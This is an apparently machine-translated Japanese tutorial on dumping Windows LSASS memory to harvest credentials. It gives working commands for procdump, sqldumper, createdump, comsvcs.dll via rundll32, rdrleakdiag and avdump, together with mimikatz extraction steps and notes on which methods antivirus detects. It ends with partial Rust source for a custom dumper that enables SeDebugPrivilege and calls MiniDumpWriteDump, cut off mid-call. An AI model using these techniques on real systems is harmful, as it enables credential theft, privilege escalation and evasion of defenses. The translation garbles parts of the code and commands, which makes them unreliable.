序文
lsass.exe(ローカルセキュリティ局のサブシステム
サービスプロセススペースには、マシンのドメイン、ローカルユーザー名、パスワードなどの重要な情報があります。ローカルの高権限を取得すると、ユーザーはLSASSプロセスメモリにアクセスできるため、水平の動きと許可エスカレーションのために内部データをエクスポートできます。 LSAを介したユーザーパスワードまたはハッシュのダンプも、浸透プロセスに不可欠なステップです。ここでは、原則を学び、さまざまな投棄方法を記録します。
[TOC]
一般的な方法
mimikatz :: logonpasswords
通常、これらのツールをLolbinsと呼びます。つまり、攻撃者はこれらのバイナリを使用して、元の目的を超えて操作を実行できます。 Lolbinsでメモリをエクスポートするプログラムに焦点を当てています。
ホワイトリストツール
3つのMicrosoft Signature Whitelistプログラム
procdump.exe
sqldumper.exe
createdump.exe
procdump dump lsass.exeのメモリ
Procdumpは、プロセスメモリの投棄用に提供されるMicrosoft署名された法的バイナリファイルです。 Microsoftドキュメントで公式Procdumpファイルをダウンロードできます
ProcDumpを使用して、LSASプロセスDMPファイルをつかみ、
procdump64.exe -accepteula -ma lsass.exe lsass_dump
その後、使用するMimikatzを構成できます
sekurlsa:3360minidump lsassdump.dmp
sekurlsa:3360logonpasswords
lsass.exeに敏感な場合は、lsass.exe pidで使用することもできます。
procdump64.exe -accepteula -ma pid lsass_dum
この原則は、LSASS.EXEはWindowsシステムのセキュリティメカニズムであり、主にローカルセキュリティおよびログインポリシーに使用されるということです。通常、システムにログインするときにパスワードを入力した後、パスワードはlsass.exeメモリに保存されます。 2つのモジュールをWDigestとTSPKGを呼び出した後、可逆アルゴリズムを使用して暗号化され、メモリに保存されます。 Mimikatz LSASS.EXEの逆の計算により、プレーンテキストパスワードを取得します。
検出と殺害の状況に関して、トルブリンウイルスはスキャンされず、360は13バージョンでは検出されず、14バージョンで検出されたことがわかりました。
sqldumper.exe
sqldumper.exeユーティリティはMicrosoft SQL Serverに含まれています。 SQL Serverのメモリダンプと、デバッグ目的で関連プロセスを生成します。
Sqldumperへの一般的なパスは次のとおりです
C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe
C: \ Program Files \ Microsoft Analysis Services \ as oledb \ 10 \ sqldumper.exe
c: \プログラムファイル(x86)\ microsoft sql server \ 100 \ shared \ sqldumper.exe
sqldumper.exeは、完全なダンプファイルを生成するためにMicrosoft SQLおよびOfficeに含まれています。
TaskList /SVC | findstr lsass.exe lsass.exeのpid数を表示します
sqldumper.exe processid 00x01100エクスポートmdmpファイル
次に、局所的に復号化すると、同じバージョンのオペレーティングシステムを使用する必要があります。
mimikatz.exe 'sekurlsa:minidump sqldmpr0001.mdmp' 'sekurlsa:3360logonpasswords full' exit
360に殺されたタントレンは検出されませんでした
createdump.exe
.NET5の出現により、それはネイティブバイナリ自体です。署名はありますが、AVによって調査され殺されました。
createdump.exe -u -f lsass.dmp lsass [pid]
360によって殺されます
comsvcs.dll
comsvcs.dllは、主にCOM+サービスサービスを提供しています。このファイルはすべてのWindowsシステムで見つけることができ、プロセスの完全なダンプをrundll32を使用して実装して、エクスポート機能minidumpを実行できます。
このファイルはホワイトリストファイルです。主にcomsvsc.dllのエクスポート関数Apiminidumpを使用して、lsass.exeをダンプする目的を達成します。管理者の権限も必要であることに注意してください。 Sedebugprivilegeの許可を有効にする必要があるためです。 CMDでは、この許可はデフォルトで無効になり、PowerShellはデフォルトで有効になります。このファイルは、c: \ windows \ system32 \ comsvcs.dllにあります
次の方法を使用してMinidumpを呼び出してダンピングlsass.exeプロセス:を達成できます
PowerShell C: \ Windows \ System32 \ rundll32.exe C: \ windows \ system32 \ comsvcs.dll、minidump(get-process lsass).id $ env:temp \ lsass-comsvcs.dmp full
360もチェックして殺します。 Apiminidumpを呼び出すことでメモリを直接投棄するこの動作は、依然としてあまりにも敏感です。わずかな変更なしでチェックして殺されるのは簡単です。
他のツール
rdleakdiag.exe
デフォルトの既存のシステム:
Windows10 Windows8.1Windows8 Windows7 WindowsVista
ソフトウェアバージョン10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
そのようなものがない場合は、渡すことを選択できます。
DMPメモリファイルを生成します
rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 rst
結果*+プロセスpid+.hlk、minidump*+プロセスpid+.dmpの2つのファイルが生成されます。次に、Mimikatzを使用して割れます。
avdump.exe
avdump.exeは、Avast Antivirusソフトウェアに付属するプログラムです。指定されたプロセス(lsass.exe)のメモリデータをダンプするために使用できます。 Avast Anti-Soft Digital Signatureが付属しています。したがって、一般的にAVによって殺されません。
住所をダウンロード:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2
PSで呼び出す必要があります。そうしないと、CMDはデフォルトでSedebugprivilegeの許可を有効にしませんが、360はAvdumpを検出します。\ avdump.exe - pid lsass pid -exception_ptr 0 -thread_id 0 - dump_level 1 - dump_file c: \ uses \ admin \ desktop \ lsass.dmp - min_interval 0
しかし、それは360によっても殺されます。
所有者の編集dll
apiminidumpを呼び出すデモ
これには、Windowsプロセスプログラミングが含まれます。まず、Windowsの下でプロセスを通過する方法を確認できます。プロセスを横断するには、いくつかのAPIと構造が必要です。
1.プロセススナップショットを作成します
2。通過する最初のプロセスを初期化します
3。次のトラバーサルに進みます
4。プロセス情報構造
createToolHelp32SNAPSHOTを使用してプロセスを作成します
winapi createToolhelp32Snapshot(
dword dwflags、//「スナップショット」で返されるオブジェクトを指定するために使用されます。これは、th32cs_snapprocessなどです。
dword th32processid //プロセスID番号を使用して、スナップショットを取得するプロセスを指定します。システムプロセスのリストを取得したり、現在のプロセスのスナップショットを取得したりする場合、0に設定できます。
);
Process32Firstを使用して最初のプロセスハンドルを取得します
bool winapi process32first(
HSNAPSHOT、//_ in、プロセススナップショットハンドル
lpprocessentry32 lppe //_ out、プロセス情報構造を渡すと、システムはあなたのためにそれを埋めます。
);
Process32Nextを使用して次のプロセスを取得します
bool winapi process32next(
hsnapshotを処理し、createToolHelp32SNAPSHOTから返されたハンドル
LPPROCESSENTRY32 LPPEポインターへのProcessEntry32構造、プロセス情報構造
);
また、ProcessEntry32の構造が私たちに役立つものも含まれます。
初期化構造のDwsizeサイズTh32ProcessIDプロセスIDSZEXEXEFILE [MAX_PATH]プロセスパスtypedef struct tagprocessentry32 {
dword dwsize; //構造サイズは、最初の呼び出しの前に初期化する必要があります。
dword cntusage; //このプロセスの参照カウントは0です。プロセスは終了します。
dword th32processid; //プロセスID;
dword th32defaultheapid; //デフォルトのヒープIDを処理します。
dword th32moduleid; //モジュールIDを処理します。
dword cntthreads; //このプロセスが開くスレッドのカウント。
dword th32parentprocessid; //親プロセスID;
長いpcpriclassbase; //スレッドの優先順位;
dword dwflags; //予約済み;
char szexefile [max_path]; //完全なプロセス名;
} processentry32;
したがって、Rustによって実装されたコードは次のとおりです
fn getProcess(){
安全でない{
mut handle=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD、0);
mut process_entry : processentry32=zeroed();
process_entry.dwsize=std:3360mem:size_of:processentry32()as u32;
//mut process_handle=null_mut();
if!handle.is_null(){
process32first(handle、mut process_entry)==1 {
ループ{
extfileName=osstring3:from_wide(process_entry.szexefile.iter()。map(| x | x as u16).take_while(| x | x 0).collect:vecu16()。as_slice()。
println!( '{:} --------- {:}'、extfileName、process_entry.th32processid);
process32next(handle、mut process_entry)==0 {
壊す;
}
}
}
}
}
}
完全なダンプLSASプロセスメモリのコード
STD: {mem: {size_of}、ffi: {cstr、osstring、c_void、osstr}、OS:WINDOWS:PRELUDE3: { asrawhandle、rawhandle、osstrext}、fs:3:file、path: {path、self}};
STD:3360PTRを使用します。
clap:を使用します{app、arg};
log: {error}を使用します。
windows_sys: {win32: {foundation: {
CloseHandle、getLasterRor、invalid_handle_value、handle、luid、
}、security: {token_privileges、luid_and_attributes、se_privilege_enabled、token_adjust_privileges、lookupprivilegevaluea、adcusttokenprivileges}、system333333333:opentoken、診断:TOOLHELP3360:THS_SNAPTHREAD}、Storage:FilesSystem:3:Createfilea}、Core:PCSTR};
Windows_Sys:WIN32:STORAGE:3360FILESSTEM: {
createfilew、create_always、file_attribute_normal、
};
windows_sys:3:win32:system:3360diagnostics:3360debug: {
minidumpwithfullmemory、minidumpwritedump
};
windows_sys:3:win32:system:3360diagnostics:3360toolhelp: {
CreateToolhelp32Snapshot、Process32First、Process32Next、ProcessEntry32、Th32CS_SNApprocess、
};
Windows_Sys:3:WIN32:SESTEST:3360SYSTEMSERVICES:3360GENERIC_ALL;
Windows_Sys:WIN32:SESTESTESTEM:3360THREADING: {openProcess、process_all_access}を使用してください。
fn getPrivilege(ハンドル:ハンドル){
安全でない{
mut h_token: handle=handle:default();
mut h_token_ptr: *mut handle=mut h_token;
let tkp: token_privileges=token_privileges {
PrivileGecount: 1、
特権: [luid_and_attributes {
luid: luid {
LowPart: 0、
highpart: 0、
}、
属性: SE_PRIVILEGE_ENABLED、
}]、
};
//現在のプロセスのアクセストークンを開きます
token=openProcessToken(handle、token_adjust_privileges、h_token_ptr);
token!=0の場合{
let systemname=ptr:3360null_mut();
lookupprivilegevalueaの場合(
SystemName、
b'sedebugprivilege \ 0'.as_ptr()、
mut tkp.privileges [0] .luid)!=0 {
tkp.privileges [0] .attributes=se_privilege_enabled;
//println!( '{:}'、tkp.privileges [0] .attributes);
//現在のプロセスのSedebugprivilege許可を改善します
adcusttokenprivilegesの場合(
h_token、
0、
tkp as *const token_privileges、
0、
ptr:null_mut()、
ptr:null_mut())!=0 {
println!( 'トークン特権が調整された');
} それ以外{
let_error=getLasterRor();
println!( 'AductTokenPrivilegesがERROR:ステータス({:})'、last_error)で失敗しました。
}
} それ以外{
let_error=getLasterRor();
println!( 'lookupprivilegevalueはerror: status({:})'、last_error)で失敗しました。
}
//アクセストークンハンドルを閉じます
CloseHandle(h_token);
} それ以外{
let_error=getLasterRor();
println!( 'openProcessTokenはERROR:ステータスで失敗しました({:})'、last_error);
}
}
}
fn getProcess(lsassfile : str){
安全でない{
mut h_snapshot=createToolHelP32SNAPSHOT(TH32CS_SNAPPROCESS、0);
h_snapshot==invalid_handle_value {
println!( 'createToolhelp32Snapshot'を呼び出さなかった ');
}
mut process_entry: processentry32=std:mem:3360zeroed3:3360processentry32();
process_entry.dwsize=size_of:3360processentry32()as u32;
process32first(h_snapshot、mut process_entry)==0 {
println!( 'process32first error');
}
ループ{
let extfilename=cstr3:from_ptr(process_entry.szexefile.as_ptr()as *const i8).to_bytes();
extfile=osstring3:from_wide(extfilename.iter()。マップ(| x | x as u16).collect:vecu16()。as_slice()。
extfile.starts_with( 'lsass.exe'){
println!( '[+] got {:} pid: {:}'、extfile、process_entry.th32processid);
壊す;
}
process32next(h_snapshot、mut process_entry)==0 {
println!( 'process32next'を呼び出すことに失敗しました);
壊す;
}
}
let lsass_pid=process_entry.th32processid;
let process_handle=openProcess(process_all_access、0、lsass_pid);
process_handle==0の場合{
println!( 'プロセスを開くことができない');
}
let lsassfile=lsassfile;
lsassfile: vecu16=osstr:new(lsassfile).encode_wide()。チェーン(some(0).into_iter())。collect();
let lsasshandle=createfilew(
lsassfile.as_ptr()as *const u16、
generic_all、
0、
ptr:null_mut()、
create_always、
file_attribute_normal、
0、
);
lsasshandle==invalid_handle_value {
println!( 'file {:}'、lsassfile.to_string());
}
rest=minidumpwritedump(